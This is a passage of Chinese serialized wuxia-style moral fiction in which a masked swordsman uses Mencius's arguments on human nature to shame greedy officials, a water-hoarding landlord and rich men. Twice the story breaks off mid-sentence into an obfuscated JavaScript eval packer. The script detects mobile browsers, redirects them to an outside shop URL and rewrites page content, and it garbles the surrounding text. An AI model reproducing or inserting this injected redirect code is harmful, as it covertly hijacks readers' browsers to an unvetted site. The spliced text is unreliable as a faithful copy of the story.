留得剑印照古今。 莫道侠客已远遁， 但见不平自出林。 人间若有未雪冤， 月下犹闻剑长吟。” 题罢，掷剑于地。木剑寸断，化为齑粉，随风散尽。 人亦不见。 自此，剑印客绝迹长安。可长安城，乃至整个大秦，处处有他的传说。 有贪官夜半惊醒，见窗前月影如剑，疑是剑印客来，遂自首。 有恶霸欺人，忽闻巷口歌谣：“十步杀一人…”顿时胆寒，缩手作罢。 有冤民走投无路，对天泣诉：“剑仙公道，何在？”次日，冤情必达官府，得速办。 陛下命人拓下那首墙头诗，刻碑立于午门外，题曰“侠客铭”。碑成之日，万民围观。有稚子指碑问父：“爹爹，剑印客真的不来了么？” 父答：“他人在不在，不重要。只要这碑在，人心里的‘剑印’在，公道…就在。” 风吹过，碑文字字清晰，在日光下，泛着淡金光芒。 像剑。 像印。 像永不消散的，侠气。 本章诫世 一、 榜上诗痕之镜 - 以侠客诗入官府榜，喻“侠道”对“官法”的补充与警示 - 破解法：当律法不彰时，民间自有公道 - 示例：擒贼、惩恶、追粮，皆在法外，却在理中 二、 木剑代刑之悖 - 木剑无锋，却能慑人心魄，喻“以柔克刚，以德服人” - 惕世：当司法失公，私力救济便会滋生 - 反思：是侠客僭越，还是官吏失职？ 三、 剑印长存之喻 - 剑印化为碑铭，喻侠义精神当制度化、常态化 - 深层隐喻：治国不仅靠王法，更需民心自持的“公道秤” - 终极指向：真正的“剑印客”，是每个心存良善的普通人 侠客偈： 永徽三年秋风起，长安市上悬赏急。 一剑留诗惊朝野，十步惩恶醒沉迷。 木剑能断黄金梦，白绢可照墨吏皮。 莫道江湖无王法，人心自有公道旗。 后世叹： 大秦永徽长安城，剑客留诗悬榜惊。 夜擒大盗如捉雀，昼惩恶少似训婴。 三万石粮还灾户，一方绢影破贪营。 午门碑刻侠客铭，犹闻月下剑长鸣。 正是： 长安悬榜缉恶风，剑客题诗月色中。 十步一杀非嗜血，千里独行为秉公。 木剑无锋能断欲，白绢有影可照衷。 莫问侠踪何处去，人心向背即剑锋。 26. 杞柳谳 楔子柳桩奇童 大梁天佑七年，青州柳家庄出了个神童，名柳天纵，年方七岁，能诗能文，过目成诵。州学政亲试，出题“仁者爱人”，童子挥笔立就，文中竟引《孟子》三章，驳《告子》之谬。学政拍案称奇，誉为“孟门小圣”。 消息传开，县尊、知府乃至巡抚，皆来观瞻。柳家茅舍，顿成闹市。柳父本一农夫，忽见车马盈门，白银堆案，恍在梦中。有富商出价千两，聘为西席；有书院山长，欲收关门弟子；更有官宦，拟认义子。 柳天纵立庭中，锦衣玉履，背手诵《孟子·告子上》，声如碎玉： “告子曰：‘性，犹杞柳也；义，犹桮棬也。以人性为仁义，犹以杞柳为桮棬。’ 孟子曰：‘子能顺杞柳之性而以为桮棬乎？将戕贼杞柳而后以为桮棬也？如将戕贼杞柳而以为桮棬，则亦将戕贼人以为仁义与？率天下之人而祸仁义者，必子之言夫！’” 诵至“戕贼”二字，忽有一灰衣人，负长剑，自门外榆树跃下，拊掌笑道： “好个‘戕贼’！童子，你既明此理，可知眼前诸公，正欲戕贼于你？” 满庭愕然。 一、 戕柳第一折 灰衣人面罩轻纱，身形瘦削，立于庭中，如孤鹤落雁。柳父上前叱道：“你是何人？敢搅扰贵客！” “山人无姓无名，路过闻孟子之言，心喜，特来一观。”灰衣人声若清泉，竟似少年，“只是观此庭中，有人欲将这株‘杞柳’，强扭作‘桮棬’了。” 座中学政蹙眉：“阁下此言何意？柳童天赋异禀，我等欲栽培之，使其成器，何来‘戕贼’？” 灰衣人轻笑，指柳天纵身上锦袍：“这袍，是他愿穿的么？” 柳天纵张了张嘴，低声道：“爹说…见贵人，要穿体面些…” “这玉冠？” “知府大人赏的…” “这跪礼？”灰衣人指他膝上尘痕，“你方才跪迎巡抚，可是心甘？” 柳天纵抿唇不语。他本农家子，何曾习过跪礼？方才被父强按在地，膝磕青石，生疼。 学政拂袖：“礼乃大伦，习礼明义，有何不妥？” “不妥在‘强’。”灰衣人踱步，“孟子云：顺杞柳之性而为桮棬。今观此童，天性何在？他本山间杞柳，好生好长便是。诸位却要斫其枝、削其皮、曲其干，强制成器。此非‘顺性’，实为‘戕贼’。” 巡抚不耐：“阁下究竟何人？在此妄议！” 灰衣人自怀中取出一卷书，哗啦展开，竟是《孟子》竹简。他指“戕贼”二字，对柳天纵道： “童子，我且问你。你读书，是觉书中道理如清泉，饮之甘美，还是觉如苦药，父命强灌？” 柳天纵望父，父目露威吓。他垂首：“是…甘美。” “非也。”灰衣人叹，“你眼里无光，只有惧。惧父，惧官，惧这满庭‘栽培’你的人。这惧，便是戕贼之始。” 他转身，对满庭宾客朗声道： “诸公今日来，真是为这童子？非也。是为‘神童’之名——得之，可彰你们教化之功；育之，可显你们惜才之德。这童是死是活，是杞柳还是桮棬，你们何曾真心在意？不过借他之材，成全你们仁义之名罢了！” 言罢，掷竹简于地，哐当一声，满庭死寂。 二、 戕柳第二折 灰衣人一番话，说得庭中诸公面红耳赤。富商先拂袖而去，山长、官宦亦讪讪告辞。只剩学政、巡抚，面色铁青。 柳父大急，拦住灰衣人：“你！你毁我儿前程！” “前程？”灰衣人反问，“你儿前程，是金榜题名，还是做人？” “自然是做官！光宗耀祖！” “做官便是做人？”灰衣人摇头，“你可知，这满朝朱紫，多少是强扭的杞柳？小时被父师戕贼，长大戕贼他人。一代戕一代，仁义成桎梏，礼法作刀锯。你儿纵能高中，也不过多一具行尸走肉，何喜之有？” 柳父语塞。柳天纵却抬头，怯声问：“先生…那我该如何？” 灰衣人蹲身，与他平视：“你爱读书么？” “爱…尤其爱孟子。他说‘人皆有不忍人之心’，我觉得对。见邻家狗死，我会哭。” “这便是你的天性——仁心自发，如杞柳抽芽。”灰衣人温言，“可你父与诸公，要你将这仁心，套进‘忠孝节义’的模子，雕成他们想要的‘桮棬’。你不愿，却不敢违，是么？” 柳天纵眼眶一红，点头。 “今日我教你一招。”灰衣人起身，对学政、巡抚一揖，“二位大人，可否允童子一月假期，不读书，不习礼，只去田间玩耍，山中奔跑？” “荒唐！”学政怒道，“童子正宜进学，岂可荒废！” “进学为明理，明理在践行。”灰衣人正色，“孟子言‘必有事焉’，何事？事亲、事君、事天下。今亲在眼前，他却只知跪拜，不知亲心；君在庙堂，他却只知忠字，不知民生。这等学，不如不学。” 巡抚冷笑：“依你之见，当如何？” “放他归山一月。一月后，若他灵性尽失，我自缚请罪。若他仁心更明，请二位上奏朝廷，废‘童子科’，罢‘神童举’，还天下孩童一个自在童年。” 此言石破天惊。童子科乃朝廷选才捷径，多少人家逼子苦读，以求一鸣惊人。若废，不啻断人青云路。 学政、巡抚对视，皆见惊疑。良久，巡抚道：“好，本官准了。但有一条件——这一月，你须在旁看顾，若童子有失，唯你是问！” “一言为定。” 三、 顺柳一月 翌日，柳天纵脱锦袍，换粗布，随灰衣人出庄。柳父捶胸顿足，却也无奈。 灰衣人携童子，不入城镇，只往深山去。白日采药，夜宿山洞，渴饮山泉，饥食野果。初时柳天纵叫苦，灰衣人只道： “孟子曰：‘天将降大任于是人也，必先苦其心志，劳其筋骨。’这苦，是别人强加，还是你自找？” “是…自找？” “是，也不是。”灰衣人指山中野柳，“你看那杞柳，生在崖边，石压风吹，是苦。可它顺石而长，迎风而舞，苦中作乐，便成了景。人亦如此——苦不可免，但如何待苦，是你的事。” 柳天纵若有所思。 数日后，至一山村，见老妪病卧，子女不孝。柳天纵以所采草药医之，老妪泣谢。灰衣人问：“你治她，是因‘仁心’，还是因《孟子》说‘老吾老’？” 柳天纵怔住，良久道：“我见她苦，心里难受，便想帮她。与《孟子》…无关。” “这便是顺性。”灰衣人笑，“仁心本在你心中，非孟子教你。孟子只是说破罢了。” 又数日，遇两村争水，械斗在即。柳天纵忽奔至渠前，朗声背《孟子·梁惠王上》： “不违农时，谷不可胜食也…斧斤以时入山林，材木不可胜用也…” 背罢，对两村人道：“水如谷，如林，当以时、以度分之。你等械斗，水亦不来，反伤人命，何益？” 村民见一童子侃侃而谈，皆奇，气渐平。灰衣人暗中指点，定“分时用水”之法，争端遂解。 是夜，柳天纵问：“先生，我今日背《孟子》，可是‘戕贼’？” “非也。”灰衣人道，“你背《孟子》，是心中先有仁，借孟子之言表之。若心中无仁，只背书，那才是戕贼。” 一月将尽，柳天纵面黑体健，目有神光。这日，灰衣人携他登高，指山下村落： “你看，这人间如大林，人人如杞柳。有人被强扭作官椅，有人被削作杯盘，有人被砍作柴薪。可你看那边——”他指山崖一株老柳，曲干虬枝，随风摇曳，“那柳，无人雕琢，长得可好？” “好！有风骨。” “这便是顺性。”灰衣人负手，“人亦当如此——读书，是让心中仁心更明，非为套入模子。为官，是为让百姓顺性而生，非为强扭世道。若天下人都能顺性，各得其所，何需礼法桎梏？这便是孟子‘性善’真义。” 柳天纵如醍醐灌顶，伏地拜谢：“学生…明白了。” 四、 当庭辩柳 一月期满，柳天纵归家。学政、巡抚已候在庭，见童子神完气足，目光清亮，皆是一怔。 “如何？”巡抚问，“可还愿读书？” “愿。”柳天纵答，“但学生有三不读。” “哪三不？” “一，不为功名读书；二，不为父命读书；三，不为成器读书。只为明理、顺性、助人而读。” 满庭哗然。柳父急叱：“逆子！胡说什么！” 灰衣人上前：“他非逆，乃顺——顺己之性，顺天之理。敢问二位大人，童子科选才，是为选‘顺性’之人，还是‘戕贼’之器？” 学政沉吟：“这…” “孟子与告子辩性，关键在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑是木剑，悬于书院正堂。简是《孟子》，翻开至《告子上》，朱笔圈“戕贼”二字。 游侠观剑阅简，忽有所悟，对柳天纵一揖： “君以杞柳成林，荫庇一方，此乃真仁义。较之庙堂衮衮诸公，强扭天下为桮棬者，高明多矣。” 大笑而去。 自此，青州柳庄，渐成圣地。有苦于科举者，有厌于世道者，皆来观柳。见柳林千姿，各顺天性，无不慨然： “人不如柳。” 而灰衣人故事，亦在杞柳林中，随风传颂。 本章诫世 一、 杞柳桮棬之辩 - 以“戕贼杞柳”喻强扭天性，刺功利教化 - 破解法：真才不假雕琢，至善顺性而生 - 示例：神童被捧杀，天性遭扭曲，实为时代悲剧 二、 顺性成仁之悖 - 儒家本倡“因材施教”，后世却成“削足适履” - 惕世：当教育异化为功利工具，所出非人才，乃器皿 - 反思：是育人，还是制器？是顺性，还是戕贼？ 三、 柳林书院之喻 - 以千姿杞柳喻多元成才，以书院代新教化 - 深层隐喻：大道之行，当如百花园，牡丹、幽兰、荆棘、苔藓，各得其所，各展其姿。强求一律，则如以斧钺斫百卉，令同乎匠作盆栽，虽整齐可观，而生机尽矣。 - 终极指向：教育的本质是唤醒，非塑造；是点燃，非浇铸 杞柳偈： 天佑七年青州春，柳庄童子惊学臣。 七岁能辩孟告论，一言道破戕贼因。 锦袍玉冠强扭性，山野云泉自养真。 莫道教化皆成器，顺性方为不坏身。 后世叹： 大梁天佑柳庄奇，神童七岁诵孟辞。 满庭朱紫争雕琢，一介灰衣解困羁。 杞柳顺天成美景，桮棬强扭是残枝。 书院留得木剑在，长警世人莫自欺。 正是： 青州柳庄出神童，七岁能辩孟告锋。 锦袍玉冠强束性，山泉云岫自养衷。 戕贼杞柳成杯棬，顺导赤子化麟龙。 莫道人间无正道，性善本在寸心中。 27. 水性谳 楔子泗水奇观 大梁天佑九年，泗水大旱，赤地千里。唯泗水城西五十里，有白龙潭，水势不减，乃方圆百里唯一水源。 潭属豪绅赵半城。此人名守财，家资巨万，田连阡陌。旱情初起，即筑堤拦潭，设卡收费：一桶水，十文钱；一车水，一吊钱。贫者无水，富者戏水，泗水城渐成水火两重天。 这日，赵府设宴，庆贺新得“乐善好施”匾额——乃知府所赠，酬其“捐粮三百石”。实则赵家粮仓积谷如山，三百石不过九牛一毛。 宴至酣处，赵守财命开闸放水，于潭边筑“流觞曲水”，效兰亭雅集。清泉汩汩，沿玉渠流转，渠畔设锦墩，宾主传杯赋诗，好不风雅。 忽闻潭畔老柳上，有人击节而歌： “人性之善，犹水就下。 今见水在山，其势然也？ 抑或人心恶，逼水上崖？” 声清越，如泉击石。众宾抬头，见柳枝上坐一灰衣人，斗笠面纱，负木剑，双腿悬空晃荡，说不出的闲适。 赵守财皱眉：“阁下何人？扰我雅兴。” 灰衣人跃下，点尘不惊，指玉渠中水：“赵老爷可知，这水本欲流向何处？” “自然是顺渠而流，供我等吟咏。” “非也。”灰衣人摇头，“水之性，就下。此潭本在山脚，顺山势可溉万亩田。君筑堤拦之，逼水上山，入玉渠，供嬉戏。此岂水之性哉？其势则然也——君以财势逼之。” 赵守财冷笑：“我的潭，我的水，我爱如何便如何！” “你的水？”灰衣人轻笑，“天降甘霖，地涌清泉，本是天生地养，众生共享。君不过暂据此地，便敢称‘我的’？依此理，君吸的空气，也是‘君的’？晒的日头，也是‘君的’？” 满座哗然。有宾客怒斥：“刁民！胡言乱语！” 灰衣人不理，自顾行至潭边，俯身掬水，饮一口，叹道： “孟子曰：‘人无有不善，水无有不下。’今观此潭，水本善下，君逼其上；民本需水，君囤而居奇。是君之性不善，非水之性也。” 言罢，木剑出鞘，在潭边青石上刻下一行字： “水性就下，人性本善。 逼水上崖，是谓逆天。 囤水居奇，是谓悖人。 逆天悖人，其能久乎？” 刻罢，飘然而去。 赵守财气得发抖，命家丁铲字。可怪，那字入石三分，铲了又生，如泉水渗出，越铲越清。三日不消。 一、 逆水第一折 灰衣人离了白龙潭，直奔泗水城。入城，但见街市萧条，百姓面有菜色，水桶排成长龙，在赵家水铺前蜿蜒。 水铺掌柜赵福，是赵守财远亲，此刻正拨算盘，尖声道：“今日水价，一桶十五文！” 人群骚动。一老妪颤巍巍递上十文：“昨日还十文…” “昨日是昨日，今日是今日！”赵福推开老妪，“没钱的，滚！” 老妪跌倒，瓦罐碎裂，水洒一地。她趴在地上，以手掬泥水，泪如雨下。旁有汉子怒起：“你们还是人吗？！这是要逼死人！” 赵福冷笑：“逼死？渴死病死是你们命贱，关我屁事？” 话音未落，一物破空飞来，正砸在赵福面门——是块青石，上刻八字，正是潭边那“逆天悖人，其能久乎”。 赵福捂脸痛呼，抬眼，见灰衣人立于铺前，木剑斜指：“水价，一桶三文。多收的，吐出来。” “你…你是那狂徒！”赵福尖叫，“来人！拿下！” 七八个壮汉扑上。灰衣人不动，待近身，木剑轻点，如蜻蜓点水。汉子们忽觉膝弯一软，纷纷跪倒，跪的方向，正是那老妪。 “跪着，看。”灰衣人声冷如冰。 他走到水车旁，木剑一划，绳索尽断，水车倾覆，清水汩汩涌出，漫了一地。百姓惊呼，却不敢上前。 “水在此，自取。”灰衣人道。 无人敢动。 灰衣人叹，俯身扶起老妪，取瓦罐，亲手舀水递上：“婆婆，水本天生，人人可饮。今日我作主，这铺中水，分文不取。” 又对众百姓：“尔等取水，天经地义。若赵家问罪，便说——是‘水性’让取的。” 百姓面面相觑，终有胆大的，上前舀水。一人动，百人随，须臾间，水铺被搬空。赵福欲阻，膝如生根，动弹不得。 灰衣人这才解穴，对赵福道：“回去告诉你家老爷：三日之内，开潭放水，赈济灾民。若不然，这‘逆天悖人’四字，就不止刻在石上了。” 言罢，负剑入人群，转眼不见。 赵福连滚爬回赵府，哭诉经过。赵守财摔杯大骂：“反了！反了！给我报官！” 当夜，泗水城贴满海捕文书，绘影图形，捉拿“毁铺劫水之匪”。赏银五百两。 二、 逆水第二折 第二日，赵守财增派百名家丁，持棍守潭。又请知府派兵，沿潭设卡，许出不许进。 百姓聚潭外，望水兴叹。有胆大者欲夜潜取水，被抓，吊在潭前柳树上，以儆效尤。 第三日，赵守财坐轿至潭边，见柳树上吊着三人，奄奄一息，冷笑：“看谁还敢！” 忽闻树上有人道：“赵老爷，你看这三人，像什么？” 赵守财惊抬头，见灰衣人蹲在更高枝头，正俯身看他。 “像刁民！” “非也。”灰衣人摇头，“像水。” “水？” “孟子曰：‘今夫水，搏而跃之，可使过颡；激而行之，可使在山。’”灰衣人指那三人，“他们本是良民，顺性就下，安分守己。是你，以势相逼，以利相诱，使其铤而走险，如水上跃，如逆山行。此岂其本性哉？是你逼的。” 赵守财大怒：“胡说！来人，放箭！” 箭如飞蝗，灰衣人纵身一跃，如大鹏展翅，竟掠过十丈水面，落在潭心巨石上。盘膝而坐，木剑横膝，朗声道： “赵守财，我与你打个赌。” “赌什么？” “赌这潭水，听你的，还是听我的。” 赵守财气极反笑：“我的潭，自然听我的！” “好。”灰衣人举剑向天，“若水听你的，我自缚请罪。若水听我的——” “如何？” “你开仓放粮，开潭放水，散尽家财，赈济灾民。” 赵守财嗤笑：“狂妄！你当自己是龙王爷？” 灰衣人不答，木剑插入潭中，闭目默诵。众目睽睽，潭水平静如常。赵守财正欲嘲弄，忽见水面生涡，初如碗口，渐如磨盘，俄顷扩大至三丈，深不见底。 涡中涌出三股水柱，粗如巨蟒，直冲半空。水柱在空中扭结，竟化作三个大字： “水 就 下” 水字晶莹，映日生辉。百姓惊呼，纷纷跪拜。 赵守财面色惨白，强自镇定：“妖…妖术！” 灰衣人睁眼，声如洪钟：“此非妖术，是水性！水本欲就下，润泽万物，是你筑堤拦之，使其积郁成怒。今我不过顺其性，导其势罢了！” 话音落，三股水柱轰然崩散，化作倾盆大雨，降在潭外干裂田地。百姓欢呼，仰面接水。 更奇的是，赵府所筑堤坝，轰隆作响，竟自行裂开一道缺口，潭水奔涌而出，沿山势而下，直灌干涸河道。 赵守财瘫坐在地。 灰衣人自潭心跃至他面前，木剑指其额： “水就下，是性。你逼水上山，是逆性。人性本善，亦如水就下。你囤水居奇，见死不救，是逆性中之善，激出恶来。今水归其道，你，也该归你的道了。” 赵守财颤声：“我…我何道？” “为富，当仁。持财，当义。若为富不仁，持财不义，财如逆水，终将反噬。”灰衣人收剑，“给你三日，散财赈灾。三日后若不见行动，这潭水，就不止冲堤了。” 言罢，纵身入林，歌曰： “水性就下本自然， 人性向善亦如泉。 莫逼水上悬崖走， 莫推人入恶浪间。 顺性方得长久道， 逆天终有覆舟年。 君看今日白龙水， 冲破堤坝润枯田！” 歌声远去，潭水奔流。百姓欢呼取水，赵守财面如死灰。 三、 顺水之治 赵守财终究怕了。 他亲眼见潭水逆天，又闻灰衣人“水冲府邸”之警告，不敢怠慢。三日内，开仓放粮八千石，开潭任人取水，又捐银万两，助修水利。 知府闻之，亲送“泽被苍生”匾。赵守财接匾时，手抖如筛糠——他想起灰衣人说的“逆天悖人，其能久乎”。 事毕，赵守财病了一场。病中恍惚，总见潭水化作巨蟒，扑入宅中。愈后，性情大变，竟真做起善事：设粥棚，建义学，修桥铺路。人皆奇之，唯他自己知晓，是那“水性就下”四字，如剑悬顶。 再说灰衣人，离了白龙潭，沿泗水下行。见河道得水，禾苗返青，微微颔首。行至一村落，却见村民围聚，争吵不休。 近前观之，是为分水。此村有上下两圩，上圩近河，截水自私；下圩地高，滴水难得。两圩相争数年，械斗不休。 里正见灰衣人气度不凡，揖问：“先生可能解此纷？” 灰衣人问明缘由，笑道：“此事易耳。” 他引众人至河边，指水道：“水之性，就下。上圩截水，是逼水不流，如赵守财拦潭，终将溃决。不若顺水性，开渠分水。” “如何分？” “按孟子‘时、度’二字。”灰衣人取木剑，在河滩画图，“一，分时：昼夜各半，上圩昼用水，下圩夜用水。二，分度：设水闸，定量而分，多退少补。如此，水得流通，两圩得利。” 村民将信将疑。灰衣人亲督开渠，三日渠成。试分水十日，果如其言，两圩皆足，再无争端。 村民感佩，欲赠金帛，灰衣人不受，只道：“我非治水，是治心。你等争水，是逆水性，亦逆人性。今顺之，自安。” 临行，在渠首石上刻： “水就下，人向善。 顺之者昌，逆之者散。” 自此，此渠名“顺性渠”，百年不争。 四、 水性之辩< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088179|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灰衣人离村，行至泗水入江处，见一老儒设坛讲学，听众甚众。讲的正是“告孟水性之辩”。 老儒捋须道：“告子云，人性如湍水，东引东流，西引西流，本无善恶。此言甚当！人之善恶，皆教化使然…” 灰衣人驻足，忽扬声道：“先生差矣！” 众皆侧目。老儒不悦：“阁下有何高见？” “不敢。”灰衣人跃上江边巨石，朗声道，“告子以水喻性，只见其表。孟子云：‘水无有不下，人无有不善。’水之就下，是其本性。人向善，亦本性。今见水上山，是外势所逼；人作恶，亦外势所迫。岂可本末倒置，以势为性？” 老儒嗤笑：“依你之见，世人皆善，何来恶人？” “恶人非本性恶，乃环境所逼，教化所误。”灰衣人指江水，“譬如这泗水，本清澈，何以至此浊黄？是因上游伐木，泥沙俱下。水本清，浊是外污；人本善，恶是外染。不治上游，只责水浊，岂不谬哉？” 有听者问：“那赵守财为富不仁，也是外染？” “正是。”灰衣人道，“赵守财幼时，亦曾拾金不昧。何以成守财奴？是因世风重利，教化偏颇，使其以为‘财可通神，利可蔽天’。此非其本性，乃时势所染。后经白龙潭一事，水性启发，幡然悔悟，不正是善心复萌？” 老儒语塞。灰衣人又道： “告子言‘性无善恶’，是推责于外——恶是别人教的，善是别人导的，自己无责。孟子言‘性本善’，是归责于内——恶是外染，可除；善是本有，当彰。二者孰高孰低，诸君自辨。” 言罢，木剑指江：“今日我便以剑为笔，以水为墨，写一字与诸君看。” 但见他纵身跃起，剑尖点水，竟在江面划出一道水痕。水痕不散，随剑走龙蛇，渐渐成字，正是个巨大的： “善” 江水滔滔，那“善”字浮于水面，久久不散。阳光照耀，金光粼粼，观者无不震撼。 灰衣人收剑，对众一揖：“人性本善，如水就下。诸君当自信本心，莫为外物所染。更莫以‘性无善恶’为借口，放纵恶行。告辞！” 踏浪而去，转眼无踪。 尾声善水长流 白龙潭事后，泗水大治。赵守财真成善人，修“顺性渠”十二道，润泽三县。百姓感其德，改称“赵半城”为“赵善人”。 知府将灰衣人之事上奏，朝廷震动。有司议“水性之辩”，竟成朝堂论题。主告子者曰“教化至上”，主孟子者曰“本性为基”，争持不下。 天子闻之，亲书“善水”二字，敕令各州县镌石立于河畔，旁注孟子之言，以警官吏。 又三年，泗水复旱。此次，未等官府开仓，赵善人率先开潭，各县富户效仿，竟无饥馑。百姓感言：“是当年那位剑仙，一席话改了泗水风水。” 而那灰衣人，再未现身。唯顺性渠首石上，字迹年年发洪水不灭。有牧童见，每至月圆，石上“善”字会泛微光，如水流淌。 更奇的是，泗水孩童启蒙，先生不先教《三字经》，而教一句： “人性之善，犹水就下。” 孩童不解，先生便指窗外泗水：“你看那水，总往低处流。人心向善，亦如此。若见人作恶，不是本性恶，是像水遇山石，拐了弯。咱们要做的，是搬开山石，让水归正道。” 孩童似懂非懂，但记下了“水就下，人向善”。 或许，这就够了。 本章诫世 一、 水性人性之喻 - 以“水就下”喻人性本善，以“逼水上崖”喻环境扭曲 - 破解法：勿因浊水责水性，当清源头；勿因恶人责人性，当正世风 - 示例：赵守财非天生恶，乃利欲熏心；百姓非天生刁，乃生计所迫 二、 顺逆之道之悖 - 顺水性则水利万物，逆之则溃堤成灾；顺人性则世道昌明，逆之则戾气横生 - 惕世：治国如治水，堵不如疏，压不如导 - 反思：是人性本恶需严刑，还是世道不公催人恶？ 三、 善水长流之思 - 石上“善”字不灭，喻本性不灭；孩童口传“水就下”，喻善念传承 - 深层隐喻：真正的教化，是唤醒本善，非强植规范 - 终极指向：人人心中皆有善泉，莫让利欲顽石堵塞 水性偈： 天佑九年泗水枯，豪绅拦潭作私湖。 剑仙一言论水性，百姓方知善本初。 逼水上崖非水愿，诱人为恶是世污。 顺性渠开千顷绿，方信孟言不我诬。 后世叹： 大梁天佑旱魃狂，白龙潭水成私囊。 灰衣论性惊四座，木剑分水利八乡。 水性就下喻本善，人心向善即康庄。 莫道世间多恶浪，清泉自在心底藏。 正是： 泗水逢干旱魃行，豪绅拦潭牟利精。 灰衣论性惊俗目，木剑分水润苍生。 水性就下本天道，人心向善即光明。 劝君莫作逆流石，自有清泉心底鸣。 28. 白马谳 楔子白马论法 大周开成五年，洛州白马县出了桩奇案。 县学教授公孙博，乃名家之后，在县衙开讲“白马论”，引经据典，滔滔不绝：“物之名实，当细分。白马，白是色，马是形，白马非马也！” 座中学子、乡绅皆称妙。忽闻堂下有人轻笑。 公孙博不悦：“何人发笑？” 但见人群中站起一白衣人，斗笠面纱，负木剑，朗声道：“先生高论。只是学生有一问：若白马非马，那人可非人乎？” 满堂哗然。公孙博怒道：“胡言！人自是…” “人自是？”白衣人踱步上前，“依先生理，人有贫富、贵贱、智愚、贤不肖之别。贫者，是人也？富者，是人也？若贫者算人，与富者同乎？若不同，岂非‘人非人’？” 公孙博语塞。县令忙打圆场：“此乃名家机辩，不必较真…” “当真不必较真？”白衣人声转清越，“今岁白马县灾，流民三千。县尊发赈，富者得米三斗，贫者得米一升。问：同是灾民，为何不同？答：富者纳粮多，当多得。再问：纳粮时，可有分‘白马粮’‘黑马粮’？纳银时，可有分‘白马银’‘黑马银’？既纳时无分，赈时何分？此非白马论，乃‘人非人’论也！” 县令面红耳赤。公孙博强辩：“此乃实务，与名理无干！” “无干？”白衣人长笑，“好，那便说名理。先生言白马非马，是重名轻实。今观白马县，富者名‘民’，实为豺狼；贫者名‘民’，实为牛马。这名实之悖，与白马论何异？” 他自怀中取出一卷竹简，哗啦展开，正是《孟子》公孙丑章句： “告子曰：‘生之谓性。’ 孟子曰：‘生之谓性也，犹白之谓白与？’ 曰：‘然。’ ‘白羽之白也，犹白雪之白；白雪之白，犹白玉之白与？’ 曰：‘然。’ ‘然则犬之性，犹牛之性；牛之性，犹人之性欤？’” 念罢，环视众人： “告子言‘生之谓性’，谓凡活着即有性，犬牛人无异。孟子诘之：若白羽、白雪、白玉皆白，其性同否？若同，犬牛人皆生，性亦同否？此问诛心！今白马县，富者贫者皆人也，性可同否？若同，何以厚此薄彼？若不同，岂非人不如犬牛——犬牛尚不嫌贫爱富！” 言罢，掷简于地，拂袖而去。 满堂死寂。唯闻简册滚动声，如闷雷。 一、 富者非人 白衣人出县衙，径往城东富户区。时值重阳，富户们正办“赛马会”，锦棚绣帐，宝马雕鞍。赛罢，头名赏金百两，末名亦有十两。贫民围观，如堵墙。 白衣人立人丛中，忽扬声道：“诸位，我也有一马，欲参赛。” 众人望去，见他牵着一匹老瘦跛马，毛色杂乱，垂头丧气。富户哄笑：“此等劣马，也敢参赛？” “劣马？”白衣人抚马颈，“此马年十五，为主人耕田十载，驼货万里。今老病，主人欲卖肉铺，我以十文钱赎来。敢问，此马是马否？” “自然是马，只是劣马。” “好。”白衣人点头，“那诸位宝马，是马否？” “废话！” “既是马，为何此马不能赛？” “此等劣马，岂配与我等良驹同场？” “哦？”白衣人笑，“依此理，贫者是人否？” “是…是人。” “富者是人否？” “自然！” “同是人，为何贫者不能与富者同席？不能同赈？不能同诉冤屈？岂非人分‘良劣’，如马分‘宝马劣马’？” 富户语塞。白衣人跃上马背，朗声道： “孟子与告子辩性，要义在‘人之所以异于禽兽者几希’。这‘几希’，便是仁心。今诸公以财分人，以势凌人，仁心何在？与禽兽何异？不，禽兽尚不嫌同类贫病！” 他拍马入场，老马蹒跚，却步步踏实。至主席台前，白衣人下马，对会首陈百万一揖： “陈员外，我愿以此马，赌你百两黄金。” 陈百万嗤笑：“你拿什么赌？” “赌一个道理。”白衣人正色，“我赌此马虽老，心是马心；我虽贫，心是人心。你宝马千金，心是何心？若你心非人心，纵有万金，不过披人皮之兽，可敢赌？” 陈百万大怒，欲命家丁驱赶，忽见白衣人木剑出鞘，在青石地上一划，石裂三寸，现出一行字： “人之所以为人，在仁不在富。 马之所以为马，在力不在鞍。” 字入石三分，剑气森然。陈百万色变，强笑道：“不过戏言，何必认真…赏他二十两，让他去罢。” 白衣人不接银，翻身上马，歌曰： “白马非马是诡言， 贫富皆人是实篇。 君看赛场金鞍马， 可有一匹识人烟？” 歌罢，驱老马缓行出城。围观贫民，多有垂泪者。 二、 饥者皆人 白衣人出城，至流民营。时已深秋，饥民瑟缩，见有马来，皆注目——非看人，看马肉。 白衣人下马，对众揖礼：“诸位，此马老病，不堪骑乘。今日我欲杀之，以肉飨众。可好？” 饥民怔住。一老者颤声：“壮士…此马虽老，亦是命…” “马命是命，人命更是命。”白衣人拔木剑，“孟子云：‘人皆有不忍人之心。’今诸君将死，尚不忍马死，此即仁心。而那城中富户，坐拥万斛，见人将死而不救，其心可忍？其心尚是人心否？” 他挥剑斩马，剑是木剑，却锋利异常，马颈立断，血喷如泉。白衣人以剑接血，在营前土墙书八字： “饥者皆人， 富者何心？” 书罢，对众道：“马肉在此，请自取。但我有一求——食肉时，思此八字。他日若得生路，莫忘今日之饥，莫学城中‘非人’之辈。” 饥民跪谢，分肉而食。是夜，流民营中，无人争抢，老幼均分。有孩童问父：“爹，那白衣先生，是神仙么？” 父答：“非仙，是人。真正的人。” 消息传入城，陈百万闻之，嗤道：“假仁假义！一匹马，能活几人？” 幕僚低语：“老爷，流民皆赞其人，恐生变故…” 